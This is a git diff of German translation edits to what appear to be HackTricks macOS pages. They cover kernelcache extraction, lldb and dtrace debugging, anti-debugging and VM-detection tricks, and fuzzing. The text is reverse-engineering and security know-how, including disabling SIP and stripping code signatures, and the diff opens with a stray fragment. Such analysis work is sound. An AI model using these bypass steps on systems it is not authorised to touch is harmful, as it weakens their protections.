-> Beachten Sie, dass in neueren Versionen von macOS, wenn Sie die **Signatur** der Anwendungsbinärdatei entfernen und sie zuvor ausgeführt wurde, macOS die **Anwendung nicht mehr ausführen wird**.
+> Beachten Sie, dass in neueren Versionen von macOS, wenn Sie die **Signatur** der Anwendungsbinärdatei entfernen und sie zuvor ausgeführt wurde, macOS die Anwendung **nicht mehr ausführen wird**.
#### Bibliotheksbeispiel
```objectivec
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index eaa8f04cd..22f1b7e81 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -14,7 +14,7 @@ Offensichtlich ist es so mächtig, dass es **kompliziert ist, eine Kernel-Erweit
-- Die Kernel-Erweiterung muss **mit einem Kernel-Code-Signaturzertifikat signiert** sein, das nur von **Apple** gewährt werden kann. Wer wird das Unternehmen und die Gründe, warum es benötigt wird, im Detail überprüfen.
+- Die Kernel-Erweiterung muss **mit einem Kernel-Code-Signaturzertifikat signiert** sein, das nur von **Apple** **gewährt** werden kann. Wer wird das Unternehmen und die Gründe, warum es benötigt wird, im Detail überprüfen.
- Die Kernel-Erweiterung muss auch **notariell beglaubigt** sein, Apple wird in der Lage sein, sie auf Malware zu überprüfen.
- Dann ist der **Root**-Benutzer derjenige, der die **Kernel-Erweiterung laden** kann, und die Dateien im Paket müssen **dem Root gehören**.
- Während des Upload-Prozesses muss das Paket an einem **geschützten Nicht-Root-Standort** vorbereitet werden: `/Library/StagedExtensions` (erfordert die Genehmigung `com.apple.rootless.storage.KernelExtensionManagement`).
@@ -47,11 +47,11 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
> [!CAUTION]
> Auch wenn die Kernel-Erweiterungen in `/System/Library/Extensions/` erwartet werden, wirst du in diesem Ordner **keine Binärdatei** finden. Das liegt am **Kernelcache**, und um eine `.kext` zurückzuverfolgen, musst du einen Weg finden, sie zu erhalten.
-Der **Kernelcache** ist eine **vorkompilierte und vorverlinkte Version des XNU-Kernels**, zusammen mit wesentlichen Geräte-**Treibern** und **Kernel-Erweiterungen**. Er wird in einem **komprimierten** Format gespeichert und während des Bootvorgangs in den Arbeitsspeicher dekomprimiert. Der Kernelcache ermöglicht eine **schnellere Bootzeit**, indem eine sofort einsatzbereite Version des Kernels und wichtiger Treiber verfügbar ist, wodurch die Zeit und Ressourcen reduziert werden, die sonst für das dynamische Laden und Verlinken dieser Komponenten beim Booten benötigt würden.
+Der **Kernelcache** ist eine **vorkompilierte und vorverlinkte Version des XNU-Kernels**, zusammen mit wesentlichen Geräte-**Treibern** und **Kernel-Erweiterungen**. Er wird in einem **komprimierten** Format gespeichert und während des Bootvorgangs in den Arbeitsspeicher dekomprimiert. Der Kernelcache erleichtert eine **schnellere Bootzeit**, indem eine sofort einsatzbereite Version des Kernels und wichtiger Treiber verfügbar ist, wodurch die Zeit und Ressourcen reduziert werden, die sonst für das dynamische Laden und Verlinken dieser Komponenten beim Booten benötigt würden.
### Lokaler Kernelcache
-In iOS befindet er sich in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, in macOS kannst du ihn mit: **`find / -name "kernelcache" 2>/dev/null`** finden. \
+In iOS befindet er sich in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS kannst du ihn finden mit: **`find / -name "kernelcache" 2>/dev/null`** \
In meinem Fall habe ich ihn in macOS gefunden in:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
@@ -81,11 +81,11 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### Download
+### Download
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
-In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) ist es möglich, alle Kernel-Debug-Kits zu finden. Sie können es herunterladen, einbinden, mit dem [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) Tool öffnen, auf den **`.kext`** Ordner zugreifen und **es extrahieren**.
+In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) ist es möglich, alle Kernel-Debug-Kits zu finden. Sie können es herunterladen, einbinden, mit dem Tool [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) öffnen, auf den **`.kext`**-Ordner zugreifen und **es extrahieren**.
Überprüfen Sie es auf Symbole mit:
```bash
@@ -93,9 +93,9 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
-Manchmal veröffentlicht Apple **kernelcache** mit **Symbols**. Sie können einige Firmware-Versionen mit Symbols über die Links auf diesen Seiten herunterladen. Die Firmware wird den **kernelcache** neben anderen Dateien enthalten.
+Manchmal veröffentlicht Apple **kernelcache** mit **Symbols**. Sie können einige Firmwares mit Symbols über die Links auf diesen Seiten herunterladen. Die Firmwares enthalten den **kernelcache** neben anderen Dateien.
-Um die Dateien zu **extrahieren**, ändern Sie zunächst die Erweiterung von `.ipsw` auf `.zip` und **entpacken** Sie sie.
+Um die Dateien zu **extrahieren**, ändern Sie zunächst die Erweiterung von `.ipsw` in `.zip` und **entpacken** Sie sie.
Nach dem Extrahieren der Firmware erhalten Sie eine Datei wie: **`kernelcache.release.iphone14`**. Sie ist im **IMG4**-Format, Sie können die interessanten Informationen mit:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index 57921520a..10d0be4e1 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -50,7 +50,7 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
# Get MIG information
jtool2 -d __DATA.__const myipc_server | grep MIG
```
-> [!CAUTION] > **jtool ist zugunsten von disarm veraltet**
+> [!CAUTION] > **jtool ist veraltet zugunsten von disarm**
### Codesign / ldid
@@ -84,7 +84,7 @@ ldid -S/tmp/entl.xml
### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ist ein nützliches Tool, um **.pkg**-Dateien (Installer) zu inspizieren und zu sehen, was darin enthalten ist, bevor man sie installiert.\
-Diese Installer haben `preinstall` und `postinstall` Bash-Skripte, die von Malware-Autoren normalerweise missbraucht werden, um **die** **Malware** **persistieren** zu lassen.
+Diese Installer haben `preinstall` und `postinstall` Bash-Skripte, die von Malware-Autoren häufig missbraucht werden, um **die** **Malware** **persistieren** zu lassen.
### hdiutil
@@ -98,7 +98,7 @@ Es wird in `/Volumes` gemountet
- Überprüfen Sie die hohe Entropie
- Überprüfen Sie die Strings (wenn es fast keinen verständlichen String gibt, gepackt)
-- Der UPX-Packer für MacOS erzeugt einen Abschnitt namens "\_\_XHDR"
+- Der UPX-Packer für MacOS generiert einen Abschnitt namens "\_\_XHDR"
## Statische Objective-C-Analyse
@@ -122,11 +122,11 @@ Wenn eine Funktion in einer Binärdatei aufgerufen wird, die Objective-C verwend
Die Parameter, die diese Funktion erwartet, sind:
-- Der erste Parameter (**self**) ist "ein Zeiger, der auf die **Instanz der Klasse zeigt, die die Nachricht empfangen soll**". Einfacher ausgedrückt, es ist das Objekt, auf dem die Methode aufgerufen wird. Wenn die Methode eine Klassenmethode ist, ist dies eine Instanz des Klassenobjekts (als Ganzes), während bei einer Instanzmethode self auf eine instanziierte Instanz der Klasse als Objekt zeigt.
+- Der erste Parameter (**self**) ist "ein Zeiger, der auf die **Instanz der Klasse zeigt, die die Nachricht empfangen soll**". Einfacher ausgedrückt, es ist das Objekt, auf dem die Methode aufgerufen wird. Wenn die Methode eine Klassenmethode ist, wird dies eine Instanz des Klassenobjekts (als Ganzes) sein, während bei einer Instanzmethode self auf eine instanziierte Instanz der Klasse als Objekt zeigt.
- Der zweite Parameter (**op**) ist "der Selektor der Methode, die die Nachricht verarbeitet". Einfacher ausgedrückt, dies ist nur der **Name der Methode.**
- Die verbleibenden Parameter sind alle **Werte, die von der Methode benötigt werden** (op).
-Sehen Sie, wie Sie **diese Informationen einfach mit `lldb` in ARM64 erhalten** können auf dieser Seite:
+Siehe, wie man **diese Informationen einfach mit `lldb` in ARM64 erhält** auf dieser Seite:
{{#ref}}
arm64-basic-assembly.md
@@ -177,9 +177,9 @@ print(metadata.to_decl())
```
## Statische Swift-Analyse
-Bei Swift-Binärdateien, da es eine Kompatibilität zu Objective-C gibt, kann man manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer.
+Mit Swift-Binärdateien, da es eine Objective-C-Kompatibilität gibt, können Sie manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer.
-Mit den Befehlen **`jtool -l`** oder **`otool -l`** ist es möglich, mehrere Abschnitte zu finden, die mit dem Präfix **`__swift5`** beginnen:
+Mit den **`jtool -l`** oder **`otool -l`** Befehlen ist es möglich, mehrere Abschnitte zu finden, die mit dem **`__swift5`** Präfix beginnen:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
```
Sie finden weitere Informationen über die [**Informationen, die in diesem Abschnitt gespeichert sind, in diesem Blogbeitrag**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
-Darüber hinaus **könnten Swift-Binärdateien Symbole enthalten** (zum Beispiel müssen Bibliotheken Symbole speichern, damit ihre Funktionen aufgerufen werden können). Die **Symbole enthalten normalerweise die Informationen über den Funktionsnamen** und Attribute auf eine unordentliche Weise, sodass sie sehr nützlich sind, und es gibt "**Demangler**", die den ursprünglichen Namen wiederherstellen können:
+Darüber hinaus **könnten Swift-Binärdateien Symbole enthalten** (zum Beispiel müssen Bibliotheken Symbole speichern, damit ihre Funktionen aufgerufen werden können). Die **Symbole enthalten normalerweise Informationen über den Funktionsnamen** und Attribute auf eine unansehnliche Weise, sodass sie sehr nützlich sind, und es gibt "**Demangler**", die den ursprünglichen Namen wiederherstellen können:
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@@ -204,10 +204,10 @@ swift demangle
## Dynamische Analyse
> [!WARNING]
-> Beachten Sie, dass **SIP deaktiviert sein muss**, um Binärdateien zu debuggen (`csrutil disable` oder `csrutil enable --without debug`), oder um die Binärdateien in einen temporären Ordner zu kopieren und **die Signatur zu entfernen** mit `codesign --remove-signature ` oder um das Debuggen der Binärdatei zu erlauben (Sie können [dieses Skript](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) verwenden).
+> Beachten Sie, dass zum Debuggen von Binärdateien **SIP deaktiviert sein muss** (`csrutil disable` oder `csrutil enable --without debug`) oder die Binärdateien in einen temporären Ordner kopiert und **die Signatur entfernt** werden muss mit `codesign --remove-signature ` oder das Debuggen der Binärdatei erlaubt werden muss (Sie können [dieses Skript](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) verwenden).
> [!WARNING]
-> Beachten Sie, dass **SIP deaktiviert sein muss**, um **System-Binärdateien** (wie `cloudconfigurationd`) auf macOS zu instrumentieren (das Entfernen der Signatur funktioniert nicht).
+> Beachten Sie, dass zum **Instrumentieren von System-Binärdateien** (wie `cloudconfigurationd`) auf macOS **SIP deaktiviert sein muss** (das Entfernen der Signatur funktioniert nicht).
### APIs
@@ -218,7 +218,7 @@ macOS bietet einige interessante APIs, die Informationen über die Prozesse bere
### Stackshot & Mikrostackshots
-**Stackshotting** ist eine Technik, die verwendet wird, um den Zustand der Prozesse zu erfassen, einschließlich der Aufrufstapel aller laufenden Threads. Dies ist besonders nützlich für Debugging, Leistungsanalyse und um das Verhalten des Systems zu einem bestimmten Zeitpunkt zu verstehen. Auf iOS und macOS kann Stackshotting mit mehreren Tools und Methoden wie den Tools **`sample`** und **`spindump`** durchgeführt werden.
+**Stackshotting** ist eine Technik, die verwendet wird, um den Zustand der Prozesse zu erfassen, einschließlich der Aufrufstapel aller laufenden Threads. Dies ist besonders nützlich für Debugging, Leistungsanalyse und das Verständnis des Verhaltens des Systems zu einem bestimmten Zeitpunkt. Auf iOS und macOS kann Stackshotting mit mehreren Tools und Methoden wie den Tools **`sample`** und **`spindump`** durchgeführt werden.
### Sysdiagnose
@@ -230,7 +230,7 @@ Seine plist befindet sich in `/System/Library/LaunchDaemons/com.apple.sysdiagnos
- `com.apple.sysdiagnose.CacheDelete`: Löscht alte Archive in /var/rmp
- `com.apple.sysdiagnose.kernel.ipc`: Spezialport 23 (Kernel)
-- `com.apple.sysdiagnose.service.xpc`: Benutzeroberflächen-Schnittstelle über die `Libsysdiagnose` Obj-C-Klasse. Drei Argumente in einem Dict können übergeben werden (`compress`, `display`, `run`)
+- `com.apple.sysdiagnose.service.xpc`: Benutzeroberflächenmodus über die `Libsysdiagnose` Obj-C-Klasse. Drei Argumente in einem Dict können übergeben werden (`compress`, `display`, `run`)
### Vereinheitlichte Protokolle
@@ -262,7 +262,7 @@ In der rechten Spalte können Sie interessante Informationen wie die **Navigatio
### dtrace
-Es ermöglicht Benutzern den Zugriff auf Anwendungen auf einem extrem **niedrigen Niveau** und bietet eine Möglichkeit für Benutzer, **Programme** zu **verfolgen** und sogar ihren Ausführungsfluss zu ändern. Dtrace verwendet **Proben**, die **im gesamten Kernel platziert sind** und sich an Orten wie dem Anfang und Ende von Systemaufrufen befinden.
+Es ermöglicht Benutzern den Zugriff auf Anwendungen auf einem extrem **niedrigen Niveau** und bietet eine Möglichkeit für Benutzer, **Programme** zu **verfolgen** und sogar ihren Ausführungsfluss zu ändern. Dtrace verwendet **Proben**, die **im gesamten Kernel** platziert sind und sich an Orten wie dem Anfang und Ende von Systemaufrufen befinden.
DTrace verwendet die Funktion **`dtrace_probe_create`**, um eine Probe für jeden Systemaufruf zu erstellen. Diese Proben können am **Einstieg und Ausgangspunkt jedes Systemaufrufs** ausgelöst werden. Die Interaktion mit DTrace erfolgt über /dev/dtrace, das nur für den Root-Benutzer verfügbar ist.
@@ -339,16 +339,16 @@ dtruss -c -p 1000 #get syscalls of PID 1000
```
### kdebug
-Es ist eine Kernel-Trace-Einrichtung. Die dokumentierten Codes finden sich in **`/usr/share/misc/trace.codes`**.
+Es handelt sich um eine Kernel-Trace-Einrichtung. Die dokumentierten Codes sind in **`/usr/share/misc/trace.codes`** zu finden.
Tools wie `latency`, `sc_usage`, `fs_usage` und `trace` verwenden es intern.
-Um mit `kdebug` zu interagieren, wird `sysctl` über den `kern.kdebug`-Namespace verwendet, und die MIBs, die verwendet werden können, finden sich in `sys/sysctl.h`, wobei die Funktionen in `bsd/kern/kdebug.c` implementiert sind.
+Um mit `kdebug` zu interagieren, wird `sysctl` über den `kern.kdebug`-Namespace verwendet, und die MIBs, die verwendet werden können, sind in `sys/sysctl.h` zu finden, wobei die Funktionen in `bsd/kern/kdebug.c` implementiert sind.
Um mit kdebug über einen benutzerdefinierten Client zu interagieren, sind dies normalerweise die Schritte:
- Entfernen Sie vorhandene Einstellungen mit KERN_KDSETREMOVE
-- Setzen Sie den Trace mit KERN_KDSETBUF und KERN_KDSETUP
+- Setzen Sie Trace mit KERN_KDSETBUF und KERN_KDSETUP
- Verwenden Sie KERN_KDGETBUF, um die Anzahl der Puffer-Einträge zu erhalten
- Holen Sie sich den eigenen Client aus dem Trace mit KERN_KDPINDEX
- Aktivieren Sie das Tracing mit KERN_KDENABLE
@@ -357,19 +357,19 @@ Um mit kdebug über einen benutzerdefinierten Client zu interagieren, sind dies
Um diese Informationen zu erhalten, ist es möglich, das Apple-Tool **`trace`** oder das benutzerdefinierte Tool [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
-**Beachten Sie, dass Kdebug nur für einen Kunden gleichzeitig verfügbar ist.** Daher kann nur ein k-debug-gestütztes Tool zur gleichen Zeit ausgeführt werden.
+**Beachten Sie, dass Kdebug nur für 1 Kunden gleichzeitig verfügbar ist.** Daher kann nur ein k-debug-gestütztes Tool zur gleichen Zeit ausgeführt werden.
### ktrace
-Die `ktrace_*` APIs stammen von `libktrace.dylib`, die die von `Kdebug` umhüllen. Ein Client kann einfach `ktrace_session_create` und `ktrace_events_[single/class]` aufrufen, um Rückrufe für spezifische Codes festzulegen und dann mit `ktrace_start` zu starten.
+Die `ktrace_*` APIs stammen von `libktrace.dylib`, die die von `Kdebug` umhüllen. Ein Client kann einfach `ktrace_session_create` und `ktrace_events_[single/class]` aufrufen, um Rückrufe für spezifische Codes festzulegen, und dann mit `ktrace_start` starten.
-Sie können dies sogar mit **SIP aktiviert** verwenden.
+Sie können dies sogar mit **aktiviertem SIP** verwenden.
Sie können als Clients das Dienstprogramm `ktrace` verwenden:
```bash
ktrace trace -s -S -t c -c ls | grep "ls("
```
-Oder `tailspin`.
+Or `tailspin`.
### kperf
@@ -438,10 +438,10 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING]
> Innerhalb von lldb, dumpen Sie einen Prozess mit `process save-core`
-
(lldb) Befehl
Beschreibung
run (r)
Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.
process launch --stop-at-entry
Startet die Ausführung und stoppt am Einstiegspunkt
continue (c)
Setzt die Ausführung des debugged Prozesses fort.
nexti (n / ni)
Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.
stepi (s / si)
Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird bei diesem Befehl in Funktionsaufrufe eingetreten.
finish (f)
Führt den Rest der Anweisungen in der aktuellen Funktion (“frame”) aus, gibt zurück und stoppt.
control + c
Pause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ...wo auch immer er sich gerade befindet.
breakpoint (b)
b main #Jede Funktion, die main genannt wird
b <binname>`main #Hauptfunktion des Bins
b set -n main --shlib <lib_name> #Hauptfunktion des angegebenen Bins
breakpoint set -r '\[NSFileManager .*\]$' #Jede NSFileManager-Methode
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Brechen in allen Funktionen dieser Bibliothek
b -a 0x0000000100004bd9
br l #Breakpoint-Liste
br e/dis <num> #Aktivieren/Deaktivieren des Breakpoints
breakpoint delete <num>
help
help breakpoint #Hilfe zum Breakpoint-Befehl erhalten
help memory write #Hilfe zum Schreiben in den Speicher erhalten
Zeigt den Speicher als nullterminierten String an.
x/i <reg/memory address>
Zeigt den Speicher als Assemblieranweisung an.
x/b <reg/memory address>
Zeigt den Speicher als Byte an.
print object (po)
Dies wird das Objekt drucken, auf das der Parameter verweist
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Beachten Sie, dass die meisten von Apples Objective-C APIs oder Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA an diese Adresse memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA an die Adresse
disassembly
dis #Disassembliert die aktuelle Funktion
dis -n <funcname> #Disassembliert die Funktion
dis -n <funcname> -b <basename> #Disassembliert die Funktion dis -c 6 #Disassembliert 6 Zeilen dis -c 0x100003764 -e 0x100003768 # Von einer Adresse zur anderen dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren
parray
parray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register
image dump sections
Gibt die Karte des aktuellen Prozessspeichers aus
image dump symtab <library>
image dump symtab CoreNLP #Erhält die Adresse aller Symbole von CoreNLP
+
(lldb) Befehl
Beschreibung
run (r)
Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.
process launch --stop-at-entry
Startet die Ausführung und stoppt am Einstiegspunkt
continue (c)
Setzt die Ausführung des debugged Prozesses fort.
nexti (n / ni)
Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.
stepi (s / si)
Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintreten.
finish (f)
Führt den Rest der Anweisungen in der aktuellen Funktion (“frame”) aus, gibt zurück und stoppt.
control + c
Pause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ...wo auch immer er sich gerade befindet.
breakpoint (b)
b main #Jede Funktion, die main genannt wird
b `main #Hauptfunktion des Bins
b set -n main --shlib #Hauptfunktion des angegebenen Bins
breakpoint set -r '\[NSFileManager .*\]$' #Jede NSFileManager-Methode
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Brechen in allen Funktionen dieser Bibliothek
b -a 0x0000000100004bd9
br l #Breakpoint-Liste
br e/dis #Aktivieren/Deaktivieren des Breakpoints
breakpoint delete
help
help breakpoint #Hilfe zum Breakpoint-Befehl erhalten
help memory write #Hilfe zum Schreiben in den Speicher erhalten
Zeigt den Speicher als nullterminierten String an.
x/i
Zeigt den Speicher als Assemblieranweisung an.
x/b
Zeigt den Speicher als Byte an.
print object (po)
Dies wird das Objekt drucken, auf das der Parameter verweist
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Beachten Sie, dass die meisten von Apples Objective-C APIs oder Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA in diese Adresse memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA in die Adresse
disassembly
dis #Disassembliert die aktuelle Funktion
dis -n #Disassembliert die Funktion
dis -n -b #Disassembliert die Funktion dis -c 6 #Disassembliert 6 Zeilen dis -c 0x100003764 -e 0x100003768 # Von einer Adresse zur anderen dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren
parray
parray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register
image dump sections
Gibt die Karte des aktuellen Prozessspeichers aus
image dump symtab
image dump symtab CoreNLP #Erhält die Adresse aller Symbole von CoreNLP
> [!NOTE]
-> Beim Aufrufen der **`objc_sendMsg`**-Funktion hält das **rsi**-Register den **Namen der Methode** als nullterminierten (“C”) String. Um den Namen über lldb auszugeben, tun Sie:
+> Beim Aufrufen der **`objc_sendMsg`** Funktion hält das **rsi** Register den **Namen der Methode** als nullterminierten (“C”) String. Um den Namen über lldb auszugeben, tun Sie:
>
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
>
@@ -458,8 +458,8 @@ settings set target.x86-disassembly-flavor intel
- Durch das Spielen mit den Werten von **`hw.logicalcpu`** und **`hw.physicalcpu`** versuchen einige Malware, zu erkennen, ob es sich um eine VM handelt.
- Einige Malware kann auch **erkennen**, ob die Maschine **VMware** basiert ist, basierend auf der MAC-Adresse (00:50:56).
- Es ist auch möglich zu finden, **ob ein Prozess debuggt wird** mit einem einfachen Code wie:
-- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //Prozess wird debuggt }`
-- Es kann auch den **`ptrace`** Systemaufruf mit dem **`PT_DENY_ATTACH`**-Flag aufrufen. Dies **verhindert**, dass ein Debugger sich anheftet und verfolgt.
+- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //prozess wird debuggt }`
+- Es kann auch den **`ptrace`** Systemaufruf mit dem **`PT_DENY_ATTACH`** Flag aufrufen. Dies **verhindert**, dass ein Debugger sich anheftet und verfolgt.
- Sie können überprüfen, ob die **`sysctl`** oder **`ptrace`** Funktion **importiert** wird (aber die Malware könnte sie dynamisch importieren)
- Wie in diesem Bericht erwähnt, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Die Nachricht Process # exited with **status = 45 (0x0000002d)** ist normalerweise ein sicheres Zeichen dafür, dass das Debug-Ziel **PT_DENY_ATTACH** verwendet_”
@@ -470,9 +470,9 @@ Core Dumps werden erstellt, wenn:
- `kern.coredump` sysctl auf 1 gesetzt ist (standardmäßig)
- Wenn der Prozess nicht suid/sgid war oder `kern.sugid_coredump` auf 1 gesetzt ist (standardmäßig 0)
-- Das `AS_CORE`-Limit die Operation erlaubt. Es ist möglich, die Erstellung von Core Dumps zu unterdrücken, indem `ulimit -c 0` aufgerufen wird und sie mit `ulimit -c unlimited` wieder aktiviert werden.
+- Das `AS_CORE` Limit die Operation erlaubt. Es ist möglich, die Erstellung von Core Dumps zu unterdrücken, indem Sie `ulimit -c 0` aufrufen und sie mit `ulimit -c unlimited` wieder aktivieren.
-In diesen Fällen wird der Core Dump gemäß `kern.corefile` sysctl generiert und normalerweise in `/cores/core/.%P` gespeichert.
+In diesen Fällen wird der Core Dump gemäß dem `kern.corefile` sysctl generiert und normalerweise in `/cores/core/.%P` gespeichert.
## Fuzzing
@@ -482,7 +482,7 @@ ReportCrash **analysiert abstürzende Prozesse und speichert einen Absturzberich
Für Anwendungen und andere Prozesse, die **im benutzerspezifischen launchd-Kontext** ausgeführt werden, läuft ReportCrash als LaunchAgent und speichert Absturzberichte im `~/Library/Logs/DiagnosticReports/` des Benutzers.\
Für Daemons, andere Prozesse, die **im systemweiten launchd-Kontext** ausgeführt werden, und andere privilegierte Prozesse, läuft ReportCrash als LaunchDaemon und speichert Absturzberichte im `/Library/Logs/DiagnosticReports` des Systems.
-Wenn Sie sich Sorgen über Absturzberichte machen, die **an Apple gesendet werden**, können Sie sie deaktivieren. Andernfalls können Absturzberichte nützlich sein, um **herauszufinden, wie ein Server abgestürzt ist**.
+Wenn Sie sich Sorgen über Absturzberichte **machen, die an Apple gesendet werden**, können Sie sie deaktivieren. Andernfalls können Absturzberichte nützlich sein, um **herauszufinden, wie ein Server abgestürzt ist**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@@ -511,7 +511,7 @@ Wenn Sie über eine SSH-Verbindung fuzzing, ist es wichtig sicherzustellen, dass
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
-### Interne Handler
+### Internal Handlers
**Überprüfen Sie die folgende Seite**, um herauszufinden, wie Sie herausfinden können, welche App für **die Verarbeitung des angegebenen Schemas oder Protokolls verantwortlich ist:**
@@ -519,9 +519,9 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
../macos-file-extension-apps.md
{{#endref}}
-### Auflisten von Netzwerkprozessen
+### Enumerating Network Processes
-Dies ist interessant, um Prozesse zu finden, die Netzwerkdaten verwalten:
+Es ist interessant, Prozesse zu finden, die Netzwerkdaten verwalten:
```bash
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
#wait some time
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index cabcad476..a267ea0ff 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -9,11 +9,11 @@
## Persistence detection
-- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See-Anwendung, die an mehreren Orten sucht, wo **Malware persistieren könnte** (es ist ein Einmal-Tool, kein Überwachungsdienst).
-- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Wie KnockKnock, indem es Prozesse überwacht, die Persistenz erzeugen.
+- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See Anwendung, die an mehreren Orten sucht, wo **Malware persistieren könnte** (es ist ein Einmal-Tool, kein Überwachungsdienst).
+- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Wie KnockKnock, indem Prozesse überwacht werden, die Persistenz erzeugen.
## Keyloggers detection
-- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See-Anwendung zur Auffindung von **Keyloggern**, die "Event Taps" für die Tastatur installieren.
+- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See Anwendung zur Auffindung von **Keyloggern**, die "Event Taps" für die Tastatur installieren.
{{#include ../../banners/hacktricks-training.md}}
